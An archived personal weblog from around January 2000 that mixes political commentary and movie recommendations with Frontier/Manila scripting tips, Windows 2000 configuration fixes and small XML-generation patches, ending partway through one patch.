Brent Simmons (Userland employee extraordinaire and Manila logger) has released a great technote on how Manila’s search engine works. If you’re running a search engine, it’s a must-read.

OK, if this isn’t the smartest man on Earth, then I don’t know who is. (And besides, we all know that pudding rocks, but I don’t know how good Healthy Choice brand is.)

When I got to the Georgia Dome yesterday, I was a little uncomfortable seeing the Georgia state flag, with its Confederate flag contribution, flying high all around the stadium. (Jesse Jackson has called for players to alter their uniforms with American flags in protest; the league bans such practices. I wonder if that’s constitutional…)

Interesting… I was always under the impression that Linux prided itself on fixing big security problems quickly, but apparently there’s a long-timer out there. I wonder what it is…

First, we’ve turned poor Elián González into a political toy; now, his grandmothers have left without being able to lay eyes on him. (Interestingly, a similar issue was argued in front of the Supreme Court recently, although it wouldn’t apply here.)

And on the Supreme Court, yesterday the Supremes upheld campaign finance contribution limits.

super bowl 2000

We’re off to Atlanta to set up for the Super Bowl… more when we get there!

Since we’re down in Atlanta for a photo assignment, expect pictures posted to Q, probably tomorrow — we get our processors tomorrow, so we’ll need something to test them with! (*grin*)

Is this news? Talk about common sense, man-on-the-street reporting here…

I don’t know why, but every time I travel, stories like this tend to pop onto my screen more often. My favorite quote: “In a potential life or death situation, even the most condescending passenger will bestow upon flight attendants a level of respect that is usually reserved for priests and emergency room practitioners.”

There’s now a search engine on Q…

http://q.queso.com/search

Woke up this morning with no heat or hot water — and since it’s 21 degrees out now, that can’t be good.

NEW FEATURE: we’re now searchable! I set up the integrated search engine today… it’s more difficult than I thought it would be to get it to index everything that was already here.

Apache 1.3.11 has been released, but can anyone find a document that describes the changes? All I’ve found is this one, but it’s only current through 1.3.9.

pets.com

If you’ve got a lot of extra money, this could be coooooool. (I love the Pets.com commercials, and now I’m eagerly anticipating the Super Bowl one that they’re talking about.)

I’m slowly going to be linking to pages about Windows 2000 that I run across; for this morning, here’s how Win2K determines ACPI compatibility, and this explains that only Win2K Pro supports APM.

One thing that does not disturb me about Dubya is that he was not at this rally. The concept that Forbes, Bauer, and Keyes were proud to be at a rally described as punctuated with “prayers and jeremiads against the evils of homosexuality” is disgusting. And, note to Bauer, who said “When I am elected president, abortion is going to end not in 50 years, not in 40 years, but immediately”: I’d be worried out this if I thought you had more of a chance of being elected than a sea slug. Go away, intolerant-boy.

And still on politics, I feel bad for Bill Bradley that his heart condition is probably going to affect his electability. As a medical person, I know that his condition is benign and totally unrelated to his ability to do a good job were he elected to President, but then again, this country probably wouldn’t have elected FDR if everyone knew he was in a wheelchair.

WinFax 9.0 doesn’t install swimmingly under Windows 2000, for the exact same reason that the first version of WinFax 8.0 didn’t install well under Windows NT 4.0. The fix is easy as pie.

Run the installer, and proceed as normal. At the end of the black-screen part of the installer, it tells you that it’s going to continue with the configuration part of the installation; it then hangs, seemingly unable to continue.

At this point, run the Services applet by hand and go to the Print Spooler service. It is probably stopped; WinFax is desperately trying to start it, but for some reason cannot. Start it by hand instead, and WinFax will magically continue on with its installation.

That’s it! The earliest version of WinFax 8.0 had this same problem.

A slightly new look for Q today… nothing radical. I feel like playing with the look more, though, so don’t be surprised if you see some tinkering goin’ on.

I missed this thread, given that I’ve almost stopped reading Discuss; it’s a remarkable policy, from a notorious whiner. I noticed Dave branding a lot of people whiners lately; quite honestly, each time, I’ve felt that the person he’s branding wasn’t whining, it was just Dave’s way of not having to argue the point that was being made. But whatever.

I finally got my copy of Windows 2000 today! I bought a new machine specifically for it — a real screamer. And we have success! The setup process recognized everything on my machine but my Creative Dxr2 DVD decoder card (which I had to manually install). Now I have DVDs playing without a problem; the only software that did have a problem was WinFax 9.0 (TalkWorks Pro), and here’s my solution.

I’m not the only one who believes that “Your Mom” jokes never go out of style.

Patrick Naughton’s conviction has officially been overturned by the U.S. 9th Circuit Court of Appeals.

Peter Collier of Salon weighs in on John Rocker, the Atlanta Brave who decided to spout intolerance of every variety to a Sports Illustrated reporter. Collier’s tagline is that Rocker isn’t a racist; his entire article, though, mainly contends that his punishment was draconian, but really can’t convince me that he’s not racist. One does not say things like Rocker said jokingly; saying them to a reporter just adds weight to them. And Collier’s own comments — “his picture of the demographics on the No. 7 train, some have claimed, is not far off” — smack of having some major issues as well.

Meanwhile, some things I never knew came out of the Rocker flap: Twisted Sister has asked Rocker to stop using a song of theirs to introduce himself at games; black Dominican teammate Randall Simon says that he’s the “fat monkey” that Rocker was talking about, and is not amused by the comment; Hank Aaron, a man who had to endure terrible racism during his playing days, was sickened when he read the SI article.

In Windows 2000, the ability to set the NetBIOS scope ID has been removed from the UI, but it’s still doable. You’ve got to add an entry to the Registry (and the normal Registry warnings apply here).

Run the Registry Editor, and go to the following key (HKLM means HKEY_LOCAL_MACHINE):

HKLM\System\CurrentControlSet\Services\NetBT\Parameters\

Add a new string value (REG_SZ in REGEDT32), named ScopeID (case is important!), and set it to the scope ID that you desire. Microsoft says that a reboot is not required, but I had to on all of my machines; thus, I’d recommend a reboot.

That’s it!

COOOOOOOL! I got to work today, and my Iron Giant robot was sitting on my desk waiting for me. It’s still in the box, since I have to move out of my office for a week while they do work in here; I’ll unpack it when I move back in.

Breaking: New York judge has barred distribution of DVD decoding software. I predict that this won’t stand on appeal or trial (I know I’m not going out on any limbs here).

sean elliott

Sean Elliott is poised to return to the San Antonio Spurs. Sean has focal segmental glomerulosclerosis, and got a kidney transplant from his brother shortly following winning the national championship last year. If he returns, he’ll be the first major league athlete to return after a major solid-organ transplant.

What little banner graphic are all of the hackers going to put on their website now that Kevin has been released? “Let Kevin Online!”?? (And as of right now, the Free Kevin website shows that he will be released in “11 months, 30 days, 22 hours, 6 minutes, 16 seconds”. Hmmmmm…. looks like someone has some JavaScript editing to do.)

The American Medical Student Association’s new Medical Student Bill of Rights.

Does it bother anyone else that all of the major media outlets seem to want to call Elián González “the Cuban boy” rather than by his name? Usually, they get around to mentioning his name, but the headlines or commercial teasers almost invariably use “Cuban boy.” (CNN, NY Times, Chicago Tribune)

And while we’re talking about nicknames, I’m amazed how many serious news outlets are willing to call Russell Tyrone Jones “Ol’ Dirty Bastard” with a seeming straight face.

It turns out that a blind man has had a brain implant since 1978 that allows him to see in a rudimentary sense; when I read about this last week, I thought that it was the coolest thing, and best-kept secret, in a long time.

Lotus is finally sticking cc:Mail where the sun don’t shine. While very popular, cc:Mail has been a nightmare to run and support; all that being said, maybe you’re better off avoiding Lotus Notes, also.

CNN has a fascinating story on a Dutch-as-they-get guy who was made king of a region of Ghana. Royally strange (pun intended).

Two great Frontier tutorials: writing an objectNotFound handler, and setting up the search engine.

And, a few neat medical informatics sites that my mom passed on today: Computers in Medical Education, Journal of Information Technology in Medicine.

If you’re using Windows 2000 and wonder where the ability to set a NetBIOS scope ID went, it’s been removed from the UI. You can still get to it in the Registry, though.

Finally, the traveling is over for a while….

It’s snowing here in NYC! Big, fluffy, swirling snow. I love it.

An interesting Washington court ruling — it’s legal to record (capture) chat session transcripts. A guy who was caught trying to set up sex with a minor objected to the use of the chat transcripts in court, saying that, like telephone conversations, the sessions couldn’t be legally recorded without his knowledge and consent; the court disagreed.

Wow… this month’s Southern Medical Journal has an article on supernumerary breast tissue, including pictures of a 74 year old guy with a fully-formed breast growing on the back of his thigh. (Warning — the article’s a PDF.)

Looks like DIVX is back, but without the big brother worries. I bet this fails, though; it’s hard for me to imagine that this technical workaround is any more cost-effective than just setting up a shop to rent actual DVDs.

Do you remember last year, when the in-development U.S. missile defense system impressively destroyed a dummy target? Well, it turns out that it was sheer accident that it hit the target — a decoy balloon that it locked onto drifted near the target.

I’m back in NYC, but only for a few hours — gotta catch a train to Boston today for a one-day trip. All this traveling’s for the birds.

red moon

Everyone look out for the big red moon tonight, from 11:05 PM EST to 12:22 AM EST. (I don’t know how much ambient light there is where I’ll be in Boston, so I don’t know if I’ll get the full effect.)

Salon has the perfect expression of my feelings about Dubya:

It’s not just that he’s evasive — which he is, refusing to answer questions about his ties to contemptible racists or his position on various relevant issues or his record as governor. And it’s not that he’s so completely and utterly unprepared to rule the nation. It’s that he’s the perfect representation of the mediocrity for which we as a nation continue to settle. Government health chieftains allow a certain number of rat feces and dead bugs in each candy bar. There is actually an acceptable measurement for these sorts of things. And Bush embodies that from head to toe, from the cynicism of his empty answers to the shallowness of his uninquisitive noggin.

On this week’s Kernel Traffic, it turns out that Linux is susceptible to the same ship date creep that so many people complain about with MS products; they even discuss the “bad press” implications of stating ship dates.

I saw Hurricane yesterday night. It’s another must-see — Denzel Washington is terrific, and the story, while clearly adapted for a two-hour movie, is important. It reminded me that this country takes a mighty superior tone when reprimanding other nations for their behavior, when we have done some awful things in the past, and continue to do so to certain groups of people.

All this flap about the Confederate flag in South Carolina reminds me — my high school in Texas, Robert E. Lee High School, had the Confederate flag as our school flag. It was on almost every building on campus, in some places as big as a semi. Our school song was Dixie. If you were an athlete, you had to wear the flag on your uniform; if you protested (as some black athletes did), you were just dismissed from the team. They finally got rid of the flag and Dixie, but people tell me that the flag is still waved, and Dixie is still sung, at every sports event. (I was at the school until 1991, and that’s when they did away with both as “official” school institutions.)

Nice… call the police to report domestic violence next door, and get your dog killed.

Decided to stay one more day out of NYC… so I promise, updates soon.

Hey everyone — I decided to take a road trip down to San Antonio, so no updates today.

REFERRER LOG UPDATE: For those of you who already checked out the Referrer Log release page, I forgot to include a critical part in the installation instructions about editing two site-specific things in the script. Check out the page now; the addition is there, and I apologize for the oversight.

Great — now Wired has a Lycos portal bar across the top, so that more of my screen real estate is gone.

I’m in Dallas now, and I just have to say that Taco Cabana is heaven. I grew up in San Antonio, and moving to New York meant no more great Tex-Mex fast food; going to TC made me very happy today.

Saw Magnolia today with my sister — it’s a surreal, mind-racing, intriguing, surprising, and all in all very worth it movie. I’ve been thinking about it tons since I left the theater, and I’m willing to bet that I keep thinking about it for the next month or so; it’s that kind of movie. There are lots and lots of little connections, references, and quirky things that just won’t let go of me. (There’s no question that I’ll be buying it on DVD.)

Just the other day, I was trying to convince a friend that there’s part of Manhattan that isn’t on the physical island of Manhattan — and then today, I find a site about it. Coooool.

Also, I found a great site that seems to be pretty definitive on New York City’s Upper West Side (my ‘hood). My favorites are this panorama of the Riverside Park shoreline and the block-by-block guides, like this one for my range of streets — if you click on the blocks, some of them actually have images of the entire block storefront. Awesome!

Hey, look — the rest of the civilized world has tolerant policies for their militaries. (I really have no idea why this one issue just angers me to no end.)

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UPDATE: I forgot to tell people that there are two small edits that have to be made to the attached script in order to make it site-specific; see #4 in the installation instructions below.

After running well for over a week, and working out a few bugs, I think that the code for the Referrer Log is ready for release. It’s attached to this message; if you have any problems, questions, or anything like that, just respond to this message. (If you don’t see the header above that shows the attachments, then you’re probably in story view mode; switch to discussion group mode and you’ll see it.)

What does it do?

It shows you a table of all of the websites that are listed as referrers in hits to your website. (This information is kept in the mainResponder logs, and has heretofore been hard to get at in a quick way.)

What does it look like?

You can see an example on this website. It’s been running here since January 3rd.

How do I use it?

You’ve got to have your own Frontier server; the Referrer Log runs as a safe macro, so you have to have the ability to add a script into the #tools table of your website, and have to be able to modify the list of safe macros. Here’s how you do everything:

  1. First, download the getReferrers script from this message. (It’s linked above, in the message header; the easiest way is to click on the fat page link and save the resulting web page to your hard disk.)
  2. Import the script into Frontier. (If you saved the fat page, just use Frontier’s File/Open menu command to open the page.) Save the script into the #tools table of your Manila website, with the name getReferrers. (On my machine, that’s quesoManilaWebsite.[“#tools”].getReferrers.)
  3. Tell Frontier that the script is safe to run as a macro. You do this at config.mainResponder.prefs.legalMacros; inside this table, create another table named getReferrers. Within this new table, create two entries, both booleans — flLegal (set to true), and flParams (also set to true). (If you wanna read it, the straight dope on safe macros from Userland is here.)
  4. Edit the script to refer to your own website, rather than to mine. :) There are two places in the script to change:
    • The line that reads if mrLog^[i][j].host == “q.queso.com” should have your own website hostname in it — this is the line that returns just those hits that are for your website. (It’s meant to help with machines, like EditThisPage, that serve up more than one Manila site — you’ll be able to limit the referrers to just one site.)
    • The line that reads if string.patternMatch(“queso.com”, nameOf(referrerTable[i])) > 0 should also be changed to the domain name of your site — it will eliminate all of the references from your own domain. (This will eliminate pages on other webservers of yours that point to your Manila site — it was something that I wanted for my own.)
  5. Lastly, you have to be using guest database logging — it’s the guest database that the script trawls through in order to get all of the referrers. In order to make sure that you’re logging to a guest database, go to user.log.prefs.flLogToGuestDatabase and set it to true.

That’s it for installation — the script now exists in your Manila website, and set up as a safe macro.

Now, as for using the macro… that’s easy. You can just put {getReferrers()} in any discussion group message or story, and it will be replaced by a table of your referrers, just like the table on q.

Also, remember that you can use your Advanced Prefs of your Manila site to create a site structure link to your referrers page (so you can end up with URLs like http://q.queso.com/referrers).

What if I find a problem?

Please mail me with anything that you find, including security issues (since this is a safe macro, and I should make sure that it stays safe).

Why is it that only good people get horrible diseases? Marge Schott, Strom Thurmond, David Duke — they’re all going to live long lives.

NEW RELEASE: You can now set up your very own referrers page for your Manila website! The script that I use, as well as instructions on how to set it up, can be found here.

Another excellent movie I saw over the weekend was Run Lola Run (Lola rennt in its original German). It’s a smart movie, with a great plot device that makes it original and worth seeing. It also exploits the DVD thing well — the dialogue is originally in German, so you can either subtitle it in English (my preference) or listen to it in English overdub. Cool.

Online commerce scare stories like this leave a bad taste in my mouth. Getting a slew of credit card numbers illicitly online is only as easy as the people who are charged with implementing security on commerce sites allow it to be, just the same as if we were talking about brick-and-mortar stores. And if the restaurant waiter that I hand my credit card to wants to copy down mine and everyone else’s numbers, that would be easy, too.

There’s more childish egotism tearing through the samba-ntdom list over the past two days. This time, it’s related to a samba misconfiguration that can result in a Windows NT primary domain controller losing control of its domain; the common comments by people on the list are smallminded things like that Windows users don’t know what a daemon is, that Windows users are too stupid to know what a smb.conf file is, and that they deserve to have their samba servers taken away from them (those last two are too new to the list to have hyperlinkable archive versions).

Come on… admit that this isn’t a just a little awesome.

Eeeeewww, this is a guy who likes his job, a lot.

I’m back from San Fran, but in no mood for updates — two good friends have taken seriously ill in the past two days. Bleah.

A small problem has been fixed in the Log Browser add-in; you can download the updated version from the main message explaining the Log Browser. (If you haven’t had any problems using it, you don’t need to download the update.)

I wasn’t going to update the page today, being that this three-hour time difference is too hard for me to adapt to (waaaaah!), but I had to say one thing…

I never thought that I would have to tell people that I work for AOL.

(Now I wish that I had pushed harder to get those business cards made last month; I assume my new ones will read “AOL Time Warner”.)

(Oh, and we had some problems with the referrer log today, but I got them ironed out. Click away.)

iron giant

OK, time for me to (belatedly) jump on a well-ridden bandwagon here. I watched my DVD of The Iron Giant for the first time on the flight to San Fran, and… it’s just friggin amazing. Easily on my top 10 list of all time, and I’m saddened that it didn’t do particularly well in the theaters. If you haven’t seen it, rent it, buy it, whatever, but see it. And if you have kids, definitely buy it and watch it, lots — it’s for you and for them, and it has a lot of great messages in it.

Places to get it: Amazon: DVD, VHS; Reel.Com (DVD or VHS); DVD Wave (DVD only); BigStar: DVD, VHS.

And, one last thing to get (I just ordered mine about 10 minutes ago!).

Troxel v. Granville sounds like it will be interesting — I wish that I were able to listen to the oral arguments. (I’m excited, though, that I may get to sit in on the oral arguments for the are-you-able-to-sue-your-HMO Supreme Court case in February.)

The anti-cybersquatting law is testing its land legs. Some of these seem like legitimate claims, but I don’t know about the major league sports corporations going after fan domains — it seems like they would be happy to have someone out there willing to set up goredwings.com and gomagic.net.

Come on, as if we didn’t all already know that Barney is the devil?

golden gate

NEW: a Log Browser add-in for the control panel of Frontier 6.1. Lets you view the entire current day’s log in the web-based control panel… addictive!

I fly out of town this morning to San Francisco (yippee!) for another interview. Updates to resume when I get there.

Wow, 6+ hour flights are tough, especially with the time zone changes and everything. My body doesn’t agree with all of the external time-related cues here — I’m tired, but it’s still light out. Ugh.

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This is an HTTP log browser add-in for the control panel in Frontier 6.1.

What does it do?

It lets you view the entirety of Frontier’s HTTP (mainResponder) log for the current day, in hour-by-hour chunks. It also clearly shows you referrers (so that you can thank all those people who are pointing the way to you).

What does it look like?

Well, you’re in luck — we’ve got a screen shot.

How do I use it?

First of all, you have to be running your own Frontier server; it plugs in to the main configuration database of Frontier, so unless Userland installs this on EditThisPage.Com, you can’t use it there. (Besides, this is a browser for the entire HTTP log, and I would assume that the EditThisPage.Com logs get huge fast, which means that they’re probably tough to trawl through!) You also have to be using guest database logging; check at user.log.prefs.flLogToGuestDatabase to make sure that it’s set to true.

Download the attachment from this message (the links are above, in the header), and import it into your copy of Frontier. (The easiest way to do this is to click on the fat page link above, then save the HTML page that comes up with the File/Save As… command in your browser, and then open this page in Frontier.) You should put the table that you’re importing into Frontier at the address config.mainResponder.controlPanel.wizards.LogBrowser. (The wizards table is where the control panel looks for add-ins.)

Once you’ve installed it at that location, you should be all set to go — load the control panel (http://your.site.com:port/controlPanel), and you should see a section between Settings and Readouts in the left-hand navigation column for Add-ins, with a link to LogBrowser underneath. Click on it, and away you go.

What makes this different from the HTTP readout?

A few things. The HTTP readout that’s already part of the control panel only shows you the current hour; the Log Browser will show you the entire current day, hour by hour.

Additionally, the Log Browser explicitly shows you the web page that referred each hit to your site, whereas with the HTTP readout, you’ve got to mouse over the small asterisk and look in the status bar of your web browser.

Lastly, the Log Browser omits a few columns that the HTTP readout includes — HTTP status code, page size, and load time, to name a couple.

In the end, it’s a matter of preference which one you use. I designed this one because I wanted the specific information that it provides.

What if I find a problem?

You can mail me with any bugs that you discover, and I’ll do my darndest to fix ‘em!

Caveats

I designed this on a Windows-based machine, and because of the difficulty of squeezing all the necessary text into each line, I made an explicit choice to specify a font in the Log Browser. I use Arial Narrow, and I fess up that I have no clue if it exists on the Mac side. If it doesn’t, then I would love suggestions as to what font I should specify for people who are on Macs. (Just mail me.)

Update: 01/11/2000

There was a small problem with this add-in and MSIE on the Mac; I think that I have fixed it. (MSIE on the Mac seems to have an odd behavior with search and post strings on URL links.) The copy that’s attached to this message is the updated copy.

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Update on the open-source gripe from yesterday: I decided to test the waters on paid support for open source software.

LinuxCare

From the samba U.S. commercial support page, I found LinuxCare. They advertise being the first 24x7 support option for Linux and other open-source projects, and their web site is impressive (it turns out I’ve been reading Kernel Traffic and the samba Kernel Cousin on their site for a while now), so I gave them a call. A sales agent, Scott, explained the pricing to me — they do either email or phone support, with the email option running $40 per email, and with the phone option running $150 per hour, during normal business hours only. Once they get into source code authoring (“engineering time”), the prices escalate to $200 per hour.

(Scott also told be that, in matters related to samba, they end up going directly to Andrew Tridgell, the primary author of the software.)

I told him that it wasn’t easy to justify those prices for me — for 2 hours of engineering time, I could buy a copy of Windows NT to replace the samba box — he agreed, recommended that we try this out as an email support case, and see how things go. So away we went.

I spent a little while composing a long, detailed email (as was recommended by Scott, seeing as I was paying by the email), and I emailed it off at around 7:00 PM Eastern time.

Contact, and a Patch!

Late last night, around 1 or 2 AM Eastern time, I got email back from Andrew Tridgell that said that we did indeed find a bug; he included a patch for the source code to boot. (Andrew is in Australia; it was only a god-awful time of day for me to be checking my email, not him.)

After getting my land legs back on patching and installing samba, I got the new binaries compiled and installed, and voila!, no more bug. Andrew also mentioned in his email that they made some other changes to the general architecture of samba, for release in v3.0, that will make the specific network configuration that I run easier to configure.

The State of Things

So, I think that LinuxCare did a really good job on this — they asked for a detailed incident report, which I provided, and then they got it to the right person to fix the problem. When I originally called, I was forced to leave voicemail; Scott called me back within half an hour, and we got started immediately.

In addition, the network configuration that we run (and that brought the samba bug out of hiding) is a pretty rare configuration — I imagine that this bug wasn’t found earlier simply because not many people have implemented NetBIOS scope IDs on their heterogeneous Windows NT and samba networks. But when Andrew got my bug report, he never recommended to us that we change configurations, or do things differently, or anything like that — he fixed the bug, and in addition, told me about other developments that he had implemented for network configurations like ours. I really liked this, and he has gone a long way towards turning me into an evangelist for his software.

The only question that remains in all of this is how much I’m going to be charged by LinuxCare. I sent them one email, and up front, I told them that I knew that there would have to be source code rewriting to be done (I know enough C to read the samba source, and I was able to pinpoint the exact place in the code where the bug was occurring); that being said, we agreed that they wouldn’t contract out for anything beyond the email support without explicitly talking about it. So we’ll see — I’ll keep you posted.

Update on the samba support gripe from yesterday: I found a commercial support provider, and they did a very good job.

Speaking of samba, there’s a new samba Kernel Cousin out today.

I didn’t know that David Theige has an ETP site, but now I do, thanks to my referrer log. I’ve been reading MedEd News, his other site, for a while now (as has my mom, I recently learned!).

(Speaking of the referrer log, I have one more round of cleaning-up-and-making-more-universally-applicable work to do on it, and then I’m going to release it to all y’all who seem to like it.)

Ummmm… is it just me, or is there some actual proof that this kid used a school computer? If they press anything as silly as criminal charges, I’d bet anything that the ACLU will (rightly) get involved.

Ack! There goes my budding astronaut career. From the New Scientist’s alcohol page:

Astronauts aren’t allowed to drink carbonated drinks in orbit, because the body relies on gravity to burp excess gas. No beer is one of the many sacrifices one must make for space exploration.

I found a really good resource for CGIs and webserver scripts a little while back; I was searching for traceroute and ping scripts that could run on NT, and they had just what I needed.

If I had only known about this (and lived in California or Oregon!)…

Steven Hawking may well be the most interesting man on Earth. His ability to get beyond his disability is amazing to me.

Dubya may not have learned from his father; he is now pledging to cut taxes. (He even clarified during the debate that this was more than a “no new taxes” pledge.) My favorite part, though, was the highly-intellectual “No, it doesn’t,” “Yes, it does,” “No, it doesn’t” exchange on the budget surplus between McCain & Bush.

Some of the current and former heads of the U.S. military are dismayed about Gore & Bradley saying that their appointees will have to accept gays in the military. This disgusts me — nobody would question that a flagrant racist shouldn’t be allowed to serve on the Joint Chiefs of Staff, but when it comes to homosexuals, we get quotes like “It has nothing to do with the rightness or wrongness of gays in the military, [and] everything to do with how a commander in chief goes about getting the best officers in the land.” This mentality is used to rationalize homophobia and discrimination, and it’s embarassing that our country allows that.

There’s now a fix for relative image src attributes and your Manila-generated XML. The issue is the same as that with relative links and Manila; the fix is similar.

Why didn’t I know about this before? NPR has chosen the 100 most important musical works of the 20th century. An impressive list — Aaron Copeland, James Taylor, Muddy Waters, Paul Simon, Charlie Parker….

My small gripe about the open-source thing is that when you discover a problem, there’s nobody who is guaranteed to work on it. I’m running samba on my Linux box, and we discovered a relatively big bug in how it works in a specific network configuration. I’ve posted the bug to the two places that the samba folks tell me to, and have received no replies, acknowledgements, or anything. I know, I have paid nothing for it and should expect nothing in return — so to me, that means that I can’t even begin to consider samba for an enterprise solution to anything. No support = no deployment.

rivertrout.com

Someone pointed me yesterday to rivertrout, a collection of letters (yep, actual letters!) written by ordinary people on everyday subjects like fear, love, death… the things that letters used to be written about all the time, but now email has supplanted. I ended up spending way more time than I thought I would on the site.

Another beautiful site (it turns out that both rivertrout and this are on the Project Cool Best of 1999 list): first nine months. It’s heavy in its use of Flash, but just amazingly done, and there’s no way that I’m not going to pass this on to my expectant patients.

This year’s collection of kooky quotes by the far-right. It scares me that an elected official in this country said “Homosexuality is a high sign of the downfall of the nation. There is no joy in life without taking on the responsibility of a wife and children.” (Which is the way to Canada?)

On the other hand, last night’s Dem debate between Gore & Bradley seems to have had some real spunk. Gays in the military, Clinton’s behavior, political leadership, finance — they actually debated real issues. My favorite, though, was Gore, in response to Bradley feeling a little piqued by his attacks, saying: “I’m not giving him hell, I’m telling the truth, and he thinks its hell.”

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In the same vein as the fix yesterday, here’s a fix for the same problem with relative image src attributes.

(Briefly, if you use a relative src attribute — like <img src=”/image.jpg”> rather than <img src=”http://some.site.com/image.jpg”> — then the XML that’s generated by Manila keeps the path relative, which means that My.Userland doesn’t understand it, and tries to make the image source relative to http://my.userland.com/>.)

So, to fix the problem, here’s a patch to the script manilaSuite.xml.getScriptingNewsXml. I recommend that you not modify the script, but rather that you copy it into some other site, modify that copy, and then change the script that sits at your Manila site’s xml/scriptingNews2.xml location to call your version.

Add the following function to the script (I added it between the encodeWithAmpersands and extractLinks functions). Note that, if you didn’t know it already, Frontier is very smart about cut & paste — you can just copy the below procedure, highlight the place in your script that you want it, and paste it, and Frontier will correctly format it.

on fixImageTags (s) { // added by JEL 01/05/2000
	local {
		pat1 = "<img ", pat2 = "src=\"", pat3 = ">";
		loc1, loc2, loc3;
		newS};
	loop {
		loc1 = string.patternMatch(pat1, string.lower(s));
		if loc1 == 0 {
			break};
		newS = string.mid(s, 1, loc1 + 4);
		s = string.delete(s, 1, loc1 + 4);
		loc2 = string.patternMatch(pat2, string.lower(s));
		loc3 = string.patternMatch(pat3, s);
		if loc3 < loc2 { // no src attribute
			break};
		if loc2 != 1 { // the src attribute isn't first
			newS = newS + string.mid(s, 1, loc2 + 3);
			s = string.delete(s, 1, loc2 + 3)}
		else {
			newS = newS + string.mid(s, 1, 4);
			s = string.delete(s, 1, 4)};
		if string.mid(s, 1, 1) == "\"" { // deal with quotes
			newS = newS + "\"";
			s = string.mid(s, 2, infinity)};
		if string.patternMatch(":", s) == 0 { // relative link!
			newS = newS + pta^.ftpSite^.url;
			if string.mid(s, 1, 1) == "/" { // remove slash
				s = string.mid(s, 2, infinity)}};
		loc3 = string.patternMatch(pat3, s);
		newS = newS + string.mid(s, 1, loc3);
		s = string.delete(s, 1, loc3)};
	newS = newS + s;
	return(newS)}

Next, add a single line to the chewOneBit function. Between the two lines that read:

s = extractLinks (s, @links, @lines);
add ("<item>"); indent++

add a line so that they read:

s = extractLinks (s, @links, @lines);
s = fixImageTags(s);
add ("<item>"); indent++

You should be all set! This patch takes into account that the image tag doesn’t always carry the src parameter right after the opening img text, and that the whole thing can be in upper case or lower case.

A reminder — if you run your own Manila server, use relative URLs in your links (as I recommend in my portability primer), and provide syndication via Manila’s built-in XML capabilities, you probably want to fix a bug in how the XML is generated (or how it’s processed by aggregators like My.Userland).

diana krall

Diana Krall, a sultry jazz temptress, has been given a nod by the Grammys for best album of the year, for When I Look In Your Eyes. Apparently, this is the first jazz album ever in this category. She’s awesome, and if you haven’t heard her, it’s about time. She has another album, All for You, that’s a dedication to the Nat King Cole Trio and is one of my regular Discman inhabitants.

Hello to Leos Kral! (Confirmedly no relation to Diana Krall…) He’s trying to recruit knowledgable Frontier people who have an interest in seeing a pretty neat-looking web-based study guide grow atop Frontier as a platform.

OK, so now I officially crave the HandSpring Visor. I wonder how much this wireless networking option will cost. I can see this as a viable option for making handhelds a great component of a hospital information system.

Gloria Steinem wants the Queens District Attorney to prosecute crimes outside of the United States (much less outside of Queens). Maybe expending energy on getting laws passed that would make this a crime would be a better choice.

This is funny: chuckmail, which is ostensibly the fastest mail transport agent for any computer — because it just chucks all of the mail that it receives into the bitbucket.

Finally, some NYC restaurants and bars are banning or limiting cell phone use. (I can’t tell you how many dinners I have had where people nearby spend their entire time inside the restaurant on their cell phone, frequently with other people at the table with them.)

Here’s an interesting little bit on kissing instructions from Sarah Michelle Gellar (TV’s Buffy). (I wish that they’d use named links so that I could point you right to the piece; instead, it’s the fifth bit on the page.)

Disney’s CEO, Michal Eisner, didn’t get a bonus last year. I hope that his $764,423 salary is enough to live on…

last updated:

Since Userland doesn’t seem to want free help with fixing bugs in their software, I decided today to also take down from their site fixes for two pretty big bugs in the XML creation script that comes with Manila.

So you know what the two bugs are:

  • If you use anything but all lowercase letters for your HTML link tags in your Manila site, your XML won’t recognize those tags as links, and thus won’t include them as links in your XML file.
  • If you don’t make your link tags exactly as the script expects them — a format that is by no means required by the HTML specification, then the script won’t recognize them as links, and thus won’t include them as links in your XML file.

I posted a fix for the first bug, but it became clear to me that Dave Winer doesn’t want the community to fix his bugs. Finding this silly, I personally would be happy to provide the bug fix to anyone who wants to prevent this problem from occurring on their Manila server — just mail me and I’ll sent it along.

I’m working on a fix for the second bug; again, you can mail me and I’ll send it when I fix it.

This is the email I received when I posted the patch on Discuss.Userland.Com.

Return-Path: <dave@userland.com>
Received: from scripting.com ([206.204.24.9]) by mail.siphoto.com
(Post.Office MTA v3.5.3 release 223 ID# 0-64731U100L100S0V35)
with ESMTP id com for <jlists@siphoto.com>;
Tue, 4 Jan 2000 18:20:41 -0500
Received: from murphy (206.204.24.25) by scripting.com with SMTP (Eudora
Internet Mail Server 2.0); Tue, 4 Jan 2000 15:35:13 -0800
Message-ID: <040801bf570a$3ef4bfe0$1918ccce@murphy>
From: Dave Winer <dave@userland.com>
To: <jlists@siphoto.com>
Subject: 
Date: Tue, 4 Jan 2000 15:20:10 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="-- -- =_NextPart_000_0405_01BF56C7.30A9AC90"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
  
Post the patch on your site. Dave

last updated:

Manila automatically generates XML for you so that you can include your site in aggregator-type sites (like My.Userland). It remains faithful to your links — if you specify a relative URL in a link, then the XML generates a link that’s relative. This is a problem if the aggregator isn’t smart about realizing that the link is relative and prepending your site’s URL onto the link — then you end up with links on the aggregator that are relative to the aggregator’s home page, rather than to your own. (This is the exact behavior displayed by My.Userland, and it looks like they’re unwilling to fix it.)

(I won’t go into my perceived benefits of relative vs. absolute URLs here; suffice it to say that I believe that any links to your own website should be relative, not absolute, and this is what drives this bug fix.)

The problem that the aggregator has can prevented by just having your Manila site generate XML that has fixes the relative URLs on-the-fly, thus not giving the aggregator a chance to screw them up.

I posted a patch to Discuss.Userland today, in the belief that (a) since I knew how to fix the bug and knew how to write the code to do it, I shouldn’t just whine for them to fix it, and (b) because I really wanted Manila to be a better product; unfortunately, you can’t read the patch there, since Dave Winer deleted it. (I guess all his talk about the terrific Frontier community isn’t as genuine as it seems to be, which I find funny since his employees readily and quickly fixed the major mainResponder security bug that I found a few weeks back.) So I’ve posted the apparently-controversial patch here, all five lines of it.

For those who want to fix this problem on their own sites, here’s the five-line addition to manilaSuite.xml.getScriptingNewsXml that will solve the issue entirely.

In the extractLinks procedure, within the loop, there are two lines that read:

url = string.mid (s, 1, ix - 1)
s = string.delete (s, 1, ix)

Between these two lines, add the following code:

if string.patternMatch(":", url) == 0 // means that the link is relative
if string.mid(url, 1, 1) == "/"
